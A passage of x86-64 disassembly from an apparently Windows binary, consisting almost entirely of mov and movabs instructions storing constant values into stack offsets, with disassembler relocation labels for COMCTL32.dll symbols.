movabs rax, 0x712f0fe0dd5618
mov qword [rsp + 0xe590], rax
mov dword [rsp + 0x7214], 0x2386
mov dword [rsp + 0x7218], 0x34c6
mov dword [rsp + 0x721c], 0x8094
mov byte [rsp + 0x24c], 0x1e
movabs rax, 0x7e2b9787a33a80
mov qword [rsp + 0xe598], rax
movabs rax, 0x7d5228bc50f0bb
mov qword [rsp + 0xe5a0], rax
movabs rax, 0x76c2ba7c33b805
mov qword [rsp + 0xe5a8], rax
mov eax, 0x106
mov word [rsp + 0x19f4], ax
movabs rax, 0x73f1f65e5f2cc0
mov qword [rsp + 0xe5b0], rax
mov eax, 0x341
mov word [rsp + 0x19f8], ax
mov eax, 0x43b
mov word [rsp + 0x19fc], ax
movabs rax, 0x7b32c32d6ad223
mov qword [rsp + 0xe5b8], rax
mov byte [rsp + 0x24d], 0x25
movabs rax, 0x71dcd095b37f20
mov qword [rsp + 0xe5c0], rax
movabs rax, 0x7a308157b8a75c
mov qword [rsp + 0xe5c8], rax
mov dword [rsp + 0x7220], 0x1808
mov eax, 0xa71
mov word [rsp + 0x1a00], ax
movabs rax, 0x7573d47879ec3d
mov qword [rsp + 0xe5d0], rax
mov dword [rsp + 0x7224], 0x1c08
movabs rax, 0x77871f6199d32d
mov qword [rsp + 0xe5d8], rax
mov dword [rsp + 0x7228], 0x692e
mov eax, 0x694
mov word [rsp + 0x1a04], ax
movabs rax, 0x7c556f8391f39f
mov qword [rsp + 0xe5e0], rax
mov byte [rsp + 0x24e], 0x19
mov byte [rsp + 0x24f], reloc.COMCTL32.dll_LBItemFromPt
movabs rax, 0x76a24eeed6b0c3
mov qword [rsp + 0xe5e8], rax
movabs rax, 0x7a7e4cde1baf5d
mov qword [rsp + 0xe5f0], rax
mov dword [rsp + 0x722c], 0x9741
mov dword [rsp + 0x7230], 0x1772
mov byte [rsp + 0x250], 0x3c
movabs rax, 0x7c652832e124c3
mov qword [rsp + 0xe5f8], rax
mov eax, 0x6f0
mov word [rsp + 0x1a08], ax
movabs rax, 0x75b280cf092f8d
mov qword [rsp + 0xe600], rax
mov eax, 0x803
mov word [rsp + 0x1a0c], ax
mov byte [rsp + 0x251], 0x71
movabs rax, 0x7385991f598ab2
mov qword [rsp + 0xe608], rax
mov dword [rsp + 0x7234], 0xaad6
mov byte [rsp + 0x252], 7
movabs rax, 0x7529aeb4a84d48
mov qword [rsp + 0xe610], rax
movabs rax, 0x73fc77ea10e109
mov qword [rsp + 0xe618], rax
mov dword [rsp + 0x7238], 0x543c
mov eax, 0xadb
mov word [rsp + 0x1a10], ax
mov dword [rsp + 0x723c], 0x1d0e
mov eax, 0x74
mov word [rsp + 0x1a14], ax
mov byte [rsp + 0x253], reloc.COMCTL32.dll_DrawInsert
movabs rax, 0x7eff4a63461b1a
mov qword [rsp + 0xe620], rax
movabs rax, 0x7b546b64c25b83
mov qword [rsp + 0xe628], rax
mov eax, 0x383
mov word [rsp + 0x1a18], ax
movabs rax, 0x7ec0de028d654b
mov qword [rsp + 0xe630], rax
mov dword [rsp + 0x7240], 0x18a4
mov dword [rsp + 0x7244], 0x29c
mov dword [rsp + 0x7248], 0x25b3
mov dword [rsp + 0x724c], 0x53a2
mov eax, 0x714
mov word [rsp + 0x1a1c], ax
mov dword [rsp + 0x7250], 0x7919
mov eax, 0x656
mov word [rsp + 0x1a20], ax
mov dword [rsp + 0x7254], 0x73b0
movabs rax, 0x7b7661f9358539
mov qword [rsp + 0xe638], rax
movabs rax, 0x714c454747c444
mov qword [rsp + 0xe640], rax
mov dword [rsp + 0x7258], 0x473c
mov eax, 0x861
mov word [rsp + 0x1a24], ax
mov byte [rsp + 0x254], 0x57
mov eax, 0x7a1
mov word [rsp + 0x1a28], ax
mov eax, 0x618
mov word [rsp + 0x1a2c], ax
mov dword [rsp + 0x725c], 0x123d
movabs rax, 0x71d64780554ed7
mov qword [rsp + 0xe648], rax
mov dword [rsp + 0x7260], 0xfe6e
movabs rax, 0x7750ceadf082a9
mov qword [rsp + 0xe650], rax
movabs rax, 0x76b2119eb704d7
mov qword [rsp + 0xe658], rax
movabs rax, 0x73a1bd2aed63ca
mov qword [rsp + 0xe660], rax
mov byte [rsp + 0x255], 0x7e
mov dword [rsp + 0x7264], 0x680
mov dword [rsp + 0x7268], 0xa67
movabs rax, 0x7c4099400fbfb3
mov qword [rsp + 0xe668], rax
movabs rax, 0x7637dfa743aed1
mov qword [rsp + 0xe670], rax
mov byte [rsp + 0x256], 0x5e
mov eax, 0x271
mov word [rsp + 0x1a30], ax
mov eax, 0x18a
mov word [rsp + 0x1a34], ax
mov eax, 0x643
mov word [rsp + 0x1a38], ax
movabs rax, 0x79e801c8a9d551
mov qword [rsp + 0xe678], rax
movabs rax, 0x7cdce99390d0f6
mov qword [rsp + 0xe680], rax
mov byte [rsp + 0x257], 0x45
mov eax, 0x657
mov word [rsp + 0x1a3c], ax
mov eax, 0x56d
mov word [rsp + 0x1a40], ax
mov dword [rsp + 0x726c], 0x28cb
movabs rax, 0x75f7afdd98b99d
mov qword [rsp + 0xe688], rax
movabs rax, 0x7daf75456c6ffe
mov qword [rsp + 0xe690], rax
mov byte [rsp + 0x258], 0x1d
movabs rax, 0x755e516c313a26
mov qword [rsp + 0xe698], rax
mov eax, 0x4d5
mov word [rsp + 0x1a44], ax
movabs rax, 0x7ce91a0abf73c2
mov qword [rsp + 0xe6a0], rax
mov eax, 0x7d9
mov word [rsp + 0x1a48], ax
mov byte [rsp + 0x259], 0x8f
mov byte [rsp + 0x25a], 0x2c
movabs rax, 0x7e04e83af39476
mov qword [rsp + 0xe6a8], rax
mov dword [rsp + 0x7270], 0x605e
movabs rax, 0x71fdc4e3e93957
mov qword [rsp + 0xe6b0], rax
mov eax, 0x47a
mov word [rsp + 0x1a4c], ax
mov dword [rsp + 0x7274], 0x11ef
mov byte [rsp + 0x25b], 0xee
mov eax, 0xcd5
mov word [rsp + 0x1a50], ax
mov eax, 0xcb2
mov word [rsp + 0x1a54], ax
mov dword [rsp + 0x7278], 0x58f4
movabs rax, 0x7c2b376450f2ac
mov qword [rsp + 0xe6b8], rax
mov eax, 0x6b2
mov word [rsp + 0x1a58], ax
movabs rax, 0x730696e821e15f
mov qword [rsp + 0xe6c0], rax
mov dword [rsp + 0x727c], 0x7a06
mov byte [rsp + 0x25c], 0x12
movabs rax, 0x722c565e647013
mov qword [rsp + 0xe6c8], rax
mov eax, 0xac1
mov word [rsp + 0x1a5c], ax
mov dword [rsp + 0x7280], 0x8052
mov eax, 0x613
mov word [rsp + 0x1a60], ax
mov dword [rsp + 0x7284], 0x42d3
mov dword [rsp + 0x7288], 0x230b
mov dword [rsp + 0x728c], 0x5c77
mov dword [rsp + 0x7290], 0x7ad9
mov dword [rsp + 0x7294], 0x1db0
movabs rax, 0x72fa53855f6460
mov qword [rsp + 0xe6d0], rax
mov byte [rsp + 0x25d], 0x6a
mov dword [rsp + 0x7298], 0x2fca
movabs rax, 0x786ed93c33b87d
mov qword [rsp + 0xe6d8], rax
mov eax, 0xe48
mov word [rsp + 0x1a64], ax
mov eax, 0x295
mov word [rsp + 0x1a68], ax
movabs rax, 0x770d7eb9f604bc
mov qword [rsp + 0xe6e0], rax
mov dword [rsp + 0x729c], 0x473b
mov byte [rsp + 0x25e], 0x83
mov eax, 0x8ef
mov word [rsp + 0x1a6c], ax
mov dword [rsp + 0x72a0], 0x81c5
mov eax, 0x436
mov word [rsp + 0x1a70], ax
movabs rax, 0x7af27e64fe258e
mov qword [rsp + 0xe6e8], rax
mov eax, 0x3e
mov word [rsp + 0x1a74], ax
mov byte [rsp + 0x25f], 2
mov eax, 0x238
mov word [rsp + 0x1a78], ax
mov dword [rsp + 0x72a4], 0x655d
movabs rax, 0x7185fa00d754fe
mov qword [rsp + 0xe6f0], rax
mov dword [rsp + 0x72a8], 0x96e
mov dword [rsp + 0x72ac], 0x9280
movabs rax, 0x7e07b13630b8d6
mov qword [rsp + 0xe6f8], rax
movabs rax, 0x7b13ee942f0073
mov qword [rsp + 0xe700], rax
mov dword [rsp + 0x72b0], 0x20d8
mov eax, 0x612
mov word [rsp + 0x1a7c], ax
mov byte [rsp + 0x260], reloc.COMCTL32.dll_DrawInsert
movabs rax, 0x74e3dcc3b04a36
mov qword [rsp + 0xe708], rax
mov byte [rsp + 0x261], 0x6d
movabs rax, 0x730681ea4ee11d
mov qword [rsp + 0xe710], rax
mov dword [rsp + 0x72b4], 0xf789
movabs rax, 0x7972dd10307fc7
mov qword [rsp + 0xe718], rax
mov eax, 0x9bb
mov word [rsp + 0x1a80], ax
mov dword [rsp + 0x72b8], 0x2ebb
mov byte [rsp + 0x262], 0x77
mov dword [rsp + 0x72bc], 0x8bb
movabs rax, 0x76be3e8628b4b0
mov qword [rsp + 0xe720], rax
movabs rax, 0x7dd640663ad47b
mov qword [rsp + 0xe728], rax
mov byte [rsp + 0x263], 0x44
mov eax, 0xd14
mov word [rsp + 0x1a84], ax
movabs rax, 0x793d0854557c56
mov qword [rsp + 0xe730], rax
mov eax, 0x971
mov word [rsp + 0x1a88], ax
mov dword [rsp + 0x72c0], 0x666c
mov byte [rsp + 0x264], 0x4a
mov byte [rsp + 0x265], 0x70
mov eax, 0x327
mov word [rsp + 0x1a8c], ax
movabs rax, 0x73656b097d3094
mov qword [rsp + 0xe738], rax
movabs rax, 0x7d3aa10208b985
mov qword [rsp + 0xe740], rax
movabs rax, 0x77bdfe73c0e0b1
mov qword [rsp + 0xe748], rax
mov eax, 0x506
mov word [rsp + 0x1a90], ax
movabs rax, 0x7965a984850446
mov qword [rsp + 0xe750], rax
mov byte [rsp + 0x266], 0x28
mov eax, 0xea6
mov word [rsp + 0x1a94], ax
mov dword [rsp + 0x72c4], 0xa370
mov eax, 0x3da
mov word [rsp + 0x1a98], ax
mov dword [rsp + 0x72c8], 0x5049
mov eax, 0xbbc
mov word [rsp + 0x1a9c], ax
mov eax, 0xe39
mov word [rsp + 0x1aa0], ax
mov dword [rsp + 0x72cc], 0xf66
mov dword [rsp + 0x72d0], 0xb816
movabs rax, 0x72d5d2f54bbe45
mov qword [rsp + 0xe758], rax
movabs rax, 0x798238990695f3
mov qword [rsp + 0xe760], rax
movabs rax, 0x753e86ee15a95f
mov qword [rsp + 0xe768], rax
mov byte [rsp + 0x267], 0xd7
mov byte [rsp + 0x268], 0xfe
mov byte [rsp + 0x269], 0xc2
movabs rax, 0x79860dabfc2983
mov qword [rsp + 0xe770], rax
mov byte [rsp + 0x26a], 0xe1
mov dword [rsp + 0x72d4], 0x99d
mov byte [rsp + 0x26b], 0x7b
mov byte [rsp + 0x26c], 0xa1
mov byte [rsp + 0x26d], 0xcc
mov dword [rsp + 0x72d8], 0x319b
mov byte [rsp + 0x26e], 0x3f
movabs rax, 0x7c46a5142d536a
mov qword [rsp + 0xe778], rax
mov eax, 0x36a
mov word [rsp + 0x1aa4], ax
mov byte [rsp + 0x26f], 0xac
movabs rax, 0x78dee9b9c3d322
mov qword [rsp + 0xe780], rax
mov dword [rsp + 0x72dc], 0x6cbc
mov eax, 0x256
mov word [rsp + 0x1aa8], ax
mov eax, 0x53d
mov word [rsp + 0x1aac], ax
mov dword [rsp + 0x72e0], 0x2646
mov eax, 0x4cc
mov word [rsp + 0x1ab0], ax
mov byte [rsp + 0x270], 0x96
mov dword [rsp + 0x72e4], 0xf455
mov dword [rsp + 0x72e8], 0x52e6
mov byte [rsp + 0x271], 0xb2
mov eax, 0x40b
mov word [rsp + 0x1ab4], ax
mov eax, 0x148
mov word [rsp + 0x1ab8], ax
movabs rax, 0x7117eeb6e1f92c
mov qword [rsp + 0xe788], rax
mov dword [rsp + 0x72ec], 0x36d2
movabs rax, 0x785bc400c513f3
mov qword [rsp + 0xe790], rax
mov eax, 0x8de
mov word [rsp + 0x1abc], ax
mov eax, 0x1d
mov word [rsp + 0x1ac0], ax
mov eax, 0x10c
mov word [rsp + 0x1ac4], ax
mov eax, 0x46b
mov word [rsp + 0x1ac8], ax
mov eax, 0x34d
mov word [rsp + 0x1acc], ax
movabs rax, 0x72b17ae40fc775
mov qword [rsp + 0xe798], rax
mov dword [rsp + 0x72f0], 0x8537
movabs rax, 0x772fbb883ef4ee
mov qword [rsp + 0xe7a0], rax
movabs rax, 0x7b8978ab73c2a9
mov qword [rsp + 0xe7a8], rax
movabs rax, 0x7bd19cec978308
mov qword [rsp + 0xe7b0], rax
mov byte [rsp + 0x272], 0x1d
mov byte [rsp + 0x273], 0x70
movabs rax, 0x783b4eb5ccaad5
mov qword [rsp + 0xe7b8], rax
movabs rax, 0x79a420b56f06c3
mov qword [rsp + 0xe7c0], rax
mov eax, 0xe3f
mov word [rsp + 0x1ad0], ax
mov byte [rsp + 0x274], 0x7c
movabs rax, 0x70120967721e98
mov qword [rsp + 0xe7c8], rax
mov dword [rsp + 0x72f4], 0x17b4
mov dword [rsp + 0x72f8], 0x4c7f
mov byte [rsp + 0x275], 0xf9
mov dword [rsp + 0x72fc], 0x7542
mov dword [rsp + 0x7300], 0x4f7c
mov byte [rsp + 0x276], 0x5b
movabs rax, 0x7c65729c1a8194
mov qword [rsp + 0xe7d0], rax
movabs rax, 0x7d15ad31f345b8
mov qword [rsp + 0xe7d8], rax
mov dword [rsp + 0x7304], 0x4269
mov eax, 0x7e0
mov word [rsp + 0x1ad4], ax
mov dword [rsp + 0x7308], 0xd2fc
movabs rax, 0x71d20c301cf13f
mov qword [rsp + 0xe7e0], rax
movabs rax, 0x7e5501a04f4185
mov qword [rsp + 0xe7e8], rax
mov byte [rsp + 0x277], 0xbf
mov eax, 0x405
mov word [rsp + 0x1ad8], ax
mov dword [rsp + 0x730c], 0x729e
mov dword [rsp + 0x7310], 0x5b41
mov dword [rsp + 0x7314], 0x6186
movabs rax, 0x7efaf7893664b8
mov qword [rsp + 0xe7f0], rax
mov byte [rsp + 0x278], 0x60
movabs rax, 0x717f23438d929d
mov qword [rsp + 0xe7f8], rax
mov eax, 0xbc
mov word [rsp + 0x1adc], ax
movabs rax, 0x70ad070f844447
mov qword [rsp + 0xe800], rax
mov eax, 0x3da
mov word [rsp + 0x1ae0], ax
movabs rax, 0x775bd578bb622f
mov qword [rsp + 0xe808], rax
movabs rax, 0x75ddcbdda3e421
mov qword [rsp + 0xe810], rax
mov dword [rsp + 0x7318], 0x4ac2
mov eax, 0xbc0
mov word [rsp + 0x1ae4], ax
mov dword [rsp + 0x731c], 0x323e
mov dword [rsp + 0x7320], 0x3e29
mov byte [rsp + 0x279], 2
mov eax, 0xa0b
mov word [rsp + 0x1ae8], ax
mov byte [rsp + 0x27a], 0x20
mov eax, 0x1a1
mov word [rsp + 0x1aec], ax
mov byte [rsp + 0x27b], 0x6c
mov eax, 0x12c
mov word [rsp + 0x1af0], ax
mov eax, 0xae3
mov word [rsp + 0x1af4], ax
mov byte [rsp + 0x27c], 0x4b
mov dword [rsp + 0x7324], 0xa56b
movabs rax, 0x75b0af71f74843
mov qword [rsp + 0xe818], rax
mov dword [rsp + 0x7328], 0xdbed
mov eax, 0x385
mov word [rsp + 0x1af8], ax
mov dword [rsp + 0x732c], 0xcacf
mov byte [rsp + 0x27d], 0x6c
mov byte [rsp + 0x27e], 2
mov eax, 0x244
mov word [rsp + 0x1afc], ax
movabs rax, 0x7365fcb14f887b
mov qword [rsp + 0xe820], rax
mov byte [rsp + 0x27f], 0xb6
mov eax, 0x6b8
mov word [rsp + 0x1b00], ax
mov dword [rsp + 0x7330], 0x1cae
mov eax, 0x795
mov word [rsp + 0x1b04], ax
mov eax, 0x425
mov word [rsp + 0x1b08], ax
mov byte [rsp + 0x280], 0x55
mov byte [rsp + 0x281], 0x22
mov dword [rsp + 0x7334], 0x494
mov byte [rsp + 0x282], 0xf1
movabs rax, 0x7716b146fcebe8
mov qword [rsp + 0xe828], rax
mov byte [rsp + 0x283], 0x61
mov eax, 0x127
mov word [rsp + 0x1b0c], ax
mov dword [rsp + 0x7338], 0xa6e5
mov eax, 0x4e1
mov word [rsp + 0x1b10], ax
mov dword [rsp + 0x733c], 0x71cb
mov eax, 0x75f
mov word [rsp + 0x1b14], ax
mov dword [rsp + 0x7340], 0x3059
mov dword [rsp + 0x7344], 0xcc05
mov dword [rsp + 0x7348], 0x7927
mov byte [rsp + 0x284], 0xca
movabs rax, 0x79ad0b0b6ae302
mov qword [rsp + 0xe830], rax
mov byte [rsp + 0x285], 0x2c
mov dword [rsp + 0x734c], 0x5bab
mov eax, 0x7c0
mov word [rsp + 0x1b18], ax
movabs rax, 0x777eace69363d0
mov qword [rsp + 0xe838], rax
mov byte [rsp + 0x286], 0x3a
movabs rax, 0x739d734dae61b3
mov qword [rsp + 0xe840], rax
mov dword [rsp + 0x7350], 0xad39
mov dword [rsp + 0x7354], 0x5605
mov byte [rsp + 0x287], 0xa7
movabs rax, 0x7d312c235c03d4
mov qword [rsp + 0xe848], rax
movabs rax, 0x7549f62b427bc1
mov qword [rsp + 0xe850], rax
movabs rax, 0x720287ba3aca96
mov qword [rsp + 0xe858], rax
movabs rax, 0x735575e8fff59e
mov qword [rsp + 0xe860], rax
mov eax, 0x1a4
mov word [rsp + 0x1b1c], ax
mov dword [rsp + 0x7358], 0x6a2c
movabs rax, 0x72477caf411ade
mov qword [rsp + 0xe868], rax
mov dword [rsp + 0x735c], 0x3d0a
mov dword [rsp + 0x7360], 0x36b5
mov eax, 0x280
mov word [rsp + 0x1b20], ax
mov dword [rsp + 0x7364], 0x88c3
movabs rax, 0x736022fd3da1c6
mov qword [rsp + 0xe870], rax
mov dword [rsp + 0x7368], 0x256
mov dword [rsp + 0x736c], 0x1e3f
mov eax, 0x5d8
mov word [rsp + 0x1b24], ax
mov eax, 0x666
mov word [rsp + 0x1b28], ax
mov eax, 0xd03
mov word [rsp + 0x1b2c], ax
movabs rax, 0x7d66e78926eb57
mov qword [rsp + 0xe878], rax
mov dword [rsp + 0x7370], 0x843a
mov dword [rsp + 0x7374], 0x136e
movabs rax, 0x721d5c115089ad
mov qword [rsp + 0xe880], rax
mov eax, 0x97e
mov word [rsp + 0x1b30], ax
mov byte [rsp + 0x288], 0x62
movabs rax, 0x74f1fbb32162c4
mov qword [rsp + 0xe888], rax
mov dword [rsp + 0x7378], 0x13f0
mov dword [rsp + 0x737c], 0x3cbf
mov byte [rsp + 0x289], DrawInsert
mov eax, 0x350
mov word [rsp + 0x1b34], ax
mov dword [rsp + 0x7380], 0x4701
mov eax, 0x227
mov word [rsp + 0x1b38], ax
movabs rax, 0x7a6c94ec5f8567
mov qword [rsp + 0xe890], rax
mov byte [rsp + 0x28a], 0x74
mov dword [rsp + 0x7384], 0x934
movabs rax, 0x723df47cf4e192
mov qword [rsp + 0xe898], rax
movabs rax, 0x7b128cb589d356
mov qword [rsp + 0xe8a0], rax
mov byte [rsp + 0x28b], 0xa7
movabs rax, 0x775da5bfb830fd
mov qword [rsp + 0xe8a8], rax
mov byte [rsp + 0x28c], 0x16
movabs rax, 0x71301310c92cdc
mov qword [rsp + 0xe8b0], rax
mov eax, 0x39
mov word [rsp + 0x1b3c], ax
mov byte [rsp + 0x28d], 0x30
mov byte [rsp + 0x28e], 0xbb
mov dword [rsp + 0x7388], 0x7cf4
mov eax, 0x5cb
mov word [rsp + 0x1b40], ax
mov byte [rsp + 0x28f], 0x2e
mov eax, 0x5d
mov word [rsp + 0x1b44], ax
mov byte [rsp + 0x290], 0x70
mov byte [rsp + 0x291], 0x2a
mov dword [rsp + 0x738c], 0x6532
mov dword [rsp + 0x7390], 0xe310
mov byte [rsp + 0x292], 1
mov byte [rsp + 0x293], 0x45
movabs rax, 0x7b6ba867e49e78
mov qword [rsp + 0xe8b8], rax
movabs rax, 0x7b0d092c848042
mov qword [rsp + 0xe8c0], rax
mov eax, 0xba0
mov word [rsp + 0x1b48], ax
mov byte [rsp + 0x294], 0x59
mov dword [rsp + 0x7394], 0xcdd
mov dword [rsp + 0x7398], 0x27ff
movabs rax, 0x74f0b955d25622
mov qword [rsp + 0xe8c8], rax
mov dword [rsp + 0x739c], 0x35d2
mov dword [rsp + 0x73a0], 0x65ec
mov eax, 0x292
mov word [rsp + 0x1b4c], ax
mov dword [rsp + 0x73a4], 0xfdf6
mov dword [rsp + 0x73a8], 0x626a
mov eax, 0x42c
mov word [rsp + 0x1b50], ax
mov byte [rsp + 0x295], 0x6a
movabs rax, 0x78a32cf6855d93
mov qword [rsp + 0xe8d0], rax
movabs rax, 0x779de9e0cc712b
mov qword [rsp + 0xe8d8], rax
mov dword [rsp + 0x73ac], 0x1b52
mov dword [rsp + 0x73b0], 0x3b17
mov eax, 0xa7
mov word [rsp + 0x1b54], ax
mov eax, 0x1af
mov word [rsp + 0x1b58], ax
movabs rax, 0x789af077b788b4
mov qword [rsp + 0xe8e0], rax
movabs rax, 0x71ad68c735a6f8
mov qword [rsp + 0xe8e8], rax
mov eax, 0x6cb
mov word [rsp + 0x1b5c], ax
mov eax, 0x3b8
mov word [rsp + 0x1b60], ax
mov dword [rsp + 0x73b4], 0x7276
movabs rax, 0x706047ff620c3b
mov qword [rsp + 0xe8f0], rax
movabs rax, 0x700d7b7e11c2b0
mov qword [rsp + 0xe8f8], rax
mov byte [rsp + 0x296], 0x7d
mov byte [rsp + 0x297], 0x23
mov eax, 0x78
mov word [rsp + 0x1b64], ax
mov byte [rsp + 0x298], 0x6b
movabs rax, 0x74b5aaa90d55a2
mov qword [rsp + 0xe900], rax
mov eax, 0x85e
mov word [rsp + 0x1b68], ax
mov eax, 0x611
mov word [rsp + 0x1b6c], ax
mov dword [rsp + 0x73b8], 0xb068
mov eax, 0x4f4
mov word [rsp + 0x1b70], ax
movabs rax, 0x71e6c9334cb6ed
mov qword [rsp + 0xe908], rax
mov eax, 0x1f9
mov word [rsp + 0x1b74], ax
mov eax, 0xd61
mov word [rsp + 0x1b78], ax
movabs rax, 0x74f7a16b49137e
mov qword [rsp + 0xe910], rax
mov dword [rsp + 0x73bc], 0x61ba
mov dword [rsp + 0x73c0], 0x54a7
mov dword [rsp + 0x73c4], 0x39
movabs rax, 0x73d85d496c546f
mov qword [rsp + 0xe918], rax
movabs rax, 0x7b8395e1a3c433
mov qword [rsp + 0xe920], rax
mov eax, 0x443
mov word [rsp + 0x1b7c], ax
mov eax, 0xaad
mov word [rsp + 0x1b80], ax
movabs rax, 0x7eff204f449ee0
mov qword [rsp + 0xe928], rax
mov byte [rsp + 0x299], 0x63
mov dword [rsp + 0x73c8], 0xf60e
mov dword [rsp + 0x73cc], 0xdb4d
mov byte [rsp + 0x29a], 0xbb
mov dword [rsp + 0x73d0], 0x1a84
mov dword [rsp + 0x73d4], 0xe38a
movabs rax, 0x7cb2030ad9267b
mov qword [rsp + 0xe930], rax
mov eax, 0xb6
mov word [rsp + 0x1b84], ax
movabs rax, 0x7232d50e403ce2
mov qword [rsp + 0xe938], rax
movabs rax, 0x7d73be64afcb7e
mov qword [rsp + 0xe940], rax
movabs rax, 0x7e9fd51ec2f547
mov qword [rsp + 0xe948], rax
mov dword [rsp + 0x73d8], 0x1ae3
mov dword [rsp + 0x73dc], 0x1ca8
mov eax, 0x91
mov word [rsp + 0x1b88], ax
mov dword [rsp + 0x73e0], 0x633f
mov eax, 0x56d
mov word [rsp + 0x1b8c], ax
mov dword [rsp + 0x73e4], 0x14c9
mov eax, 0xb7a
mov word [rsp + 0x1b90], ax
mov byte [rsp + 0x29b], 0x6e
mov eax, 0x223
mov word [rsp + 0x1b94], ax
movabs rax, 0x765fb1b30ff098
mov qword [rsp + 0xe950], rax
mov eax, 0x654
mov word [rsp + 0x1b98], ax
mov byte [rsp + 0x29c], 0x17
mov dword [rsp + 0x73e8], 0x172a
mov dword [rsp + 0x73ec], 0x5938
mov byte [rsp + 0x29d], 0x11
mov byte [rsp + 0x29e], 0xde
mov dword [rsp + 0x73f0], 0x2d21
movabs rax, 0x78ee51a158ef4a
mov qword [rsp + 0xe958], rax
movabs rax, 0x70739c2ec39633
mov qword [rsp + 0xe960], rax
mov eax, 0xc09
mov word [rsp + 0x1b9c], ax
mov eax, 0x6c9
mov word [rsp + 0x1ba0], ax
mov dword [rsp + 0x73f4], 0x4ae3
movabs rax, 0x7d5c8511abc612
mov qword [rsp + 0xe968], rax
mov eax, 0x366
mov word [rsp + 0x1ba4], ax
mov byte [rsp + 0x29f], 0xbc
mov eax, 0x88d
mov word [rsp + 0x1ba8], ax
mov dword [rsp + 0x73f8], 0x27f4
mov eax, 0x481
mov word [rsp + 0x1bac], ax
mov eax, 0x3c9
mov word [rsp + 0x1bb0], ax
movabs rax, 0x78183f628bc46d
mov qword [rsp + 0xe970], rax
mov dword [rsp + 0x73fc], 0x7d55
mov dword [rsp + 0x7400], 0x70f6
mov dword [rsp + 0x7404], 0x67d
movabs rax, 0x7ce12831eb84ad
mov qword [rsp + 0xe978], rax
movabs rax, 0x741a87ad77e734
mov qword [rsp + 0xe980], rax
mov byte [rsp + 0x2a0], 0x34
mov dword [rsp + 0x7408], 0x77c6
mov eax, 0x3d2
mov word [rsp + 0x1bb4], ax
mov eax, 0x444
mov word [rsp + 0x1bb8], ax
mov eax, 0x319
mov word [rsp + 0x1bbc], ax
mov eax, 0xf35
mov word [rsp + 0x1bc0], ax
movabs rax, 0x7a51213c072a9e
mov qword [rsp + 0xe988], rax
mov dword [rsp + 0x740c], 0xe863
mov eax, 0x262
mov word [rsp + 0x1bc4], ax
mov eax, 0x73d
mov word [rsp + 0x1bc8], ax
mov dword [rsp + 0x7410], 0xd082
mov byte [rsp + 0x2a1], 0x4f
mov byte [rsp + 0x2a2], reloc.COMCTL32.dll_DrawInsert
movabs rax, 0x72397147185625
mov qword [rsp + 0xe990], rax
movabs rax, 0x7da57a96150ca8
mov qword [rsp + 0xe998], rax
mov byte [rsp + 0x2a3], 0xc9
mov dword [rsp + 0x7414], 0x4109
mov byte [rsp + 0x2a4], 0x6b
mov eax, 0x712
mov word [rsp + 0x1bcc], ax
movabs rax, 0x7e566bd630f578
mov qword [rsp + 0xe9a0], rax
mov dword [rsp + 0x7418], 0xf99
mov byte [rsp + 0x2a5], 0x75
mov byte [rsp + 0x2a6], 0x29
mov byte [rsp + 0x2a7], 0x25
mov eax, 0x33e
mov word [rsp + 0x1bd0], ax
movabs rax, 0x7ef9fdb4500dcc
mov qword [rsp + 0xe9a8], rax
movabs rax, 0x7dfdb0bf75421f
mov qword [rsp + 0xe9b0], rax
mov byte [rsp + 0x2a8], 0x36
mov byte [rsp + 0x2a9], 0xf6
mov eax, 0x2b9
mov word [rsp + 0x1bd4], ax
mov eax, 0x2f0
mov word [rsp + 0x1bd8], ax
mov byte [rsp + 0x2aa], 0x57
movabs rax, 0x730f2c35b13c5f
mov qword [rsp + 0xe9b8], rax
mov dword [rsp + 0x741c], 0xfd2d
mov dword [rsp + 0x7420], 0x5c5d
mov byte [rsp + 0x2ab], 0x3b
mov byte [rsp + 0x2ac], 0x30
mov eax, 0x2cf
mov word [rsp + 0x1bdc], ax
mov eax, 0x62a
mov word [rsp + 0x1be0], ax
mov eax, 0x652
mov word [rsp + 0x1be4], ax
mov dword [rsp + 0x7424], 0x78a2
mov byte [rsp + 0x2ad], 0x7d
movabs rax, 0x7b1840cac97625
mov qword [rsp + 0xe9c0], rax
mov eax, 0xb6d
mov word [rsp + 0x1be8], ax
mov dword [rsp + 0x7428], 0x6dc1
mov dword [rsp + 0x742c], 0xc821
mov dword [rsp + 0x7430], 0x8f0d
movabs rax, 0x76c12567b60ea1
mov qword [rsp + 0xe9c8], rax
mov byte [rsp + 0x2ae], 0xc5
mov eax, 0x7e1
mov word [rsp + 0x1bec], ax
mov eax, 0x241
mov word [rsp + 0x1bf0], ax
mov byte [rsp + 0x2af], 0x12
mov byte [rsp + 0x2b0], 0x1b
movabs rax, 0x70bff4b212d24b
mov qword [rsp + 0xe9d0], rax
mov eax, 0x381
mov word [rsp + 0x1bf4], ax
movabs rax, 0x79e90c06947bb0
mov qword [rsp + 0xe9d8], rax
movabs rax, 0x75d230db7aa43e
mov qword [rsp + 0xe9e0], rax
movabs rax, 0x74386ba62b4eba
mov qword [rsp + 0xe9e8], rax
movabs rax, 0x71ac9007cbd89b
mov qword [rsp + 0xe9f0], rax
mov dword [rsp + 0x7434], 0x3e54
mov byte [rsp + 0x2b1], 0xdb
mov dword [rsp + 0x7438], 0x5825
mov eax, 0x697
mov word [rsp + 0x1bf8], ax
mov byte [rsp + 0x2b2], 5
mov dword [rsp + 0x743c], 0x38a
movabs rax, 0x7296d9ad054138
mov qword [rsp + 0xe9f8], rax
movabs rax, 0x7988d7337c66ad
mov qword [rsp + 0xea00], rax
mov eax, 0xce3
mov word [rsp + 0x1bfc], ax
movabs rax, 0x7b5eafa45d79cd
mov qword [rsp + 0xea08], rax
movabs rax, 0x7bc5394c3eecac
mov qword [rsp + 0xea10], rax
mov eax, 0x385
mov word [rsp + 0x1c00], ax
mov dword [rsp + 0x7440], 0x8ec
movabs rax, 0x70f7b3ab0bc063
mov qword [rsp + 0xea18], rax
mov dword [rsp + 0x7444], 0xb67e
mov eax, 0xb1
mov word [rsp + 0x1c04], ax
mov eax, 0x1bd
mov word [rsp + 0x1c08], ax
mov eax, 0xf05
mov word [rsp + 0x1c0c], ax
mov eax, 0x5fd
mov word [rsp + 0x1c10], ax
movabs rax, 0x79bd56905d9b47
mov qword [rsp + 0xea20], rax
mov byte [rsp + 0x2b3], 0xe4
mov byte [rsp + 0x2b4], 0xc5
movabs rax, 0x7df0dc9f987feb
mov qword [rsp + 0xea28], rax
movabs rax, 0x76c9075fd4726e
mov qword [rsp + 0xea30], rax
mov eax, 0x664
mov word [rsp + 0x1c14], ax
mov eax, 0x751
mov word [rsp + 0x1c18], ax
movabs rax, 0x7ecc4a91e7ad14
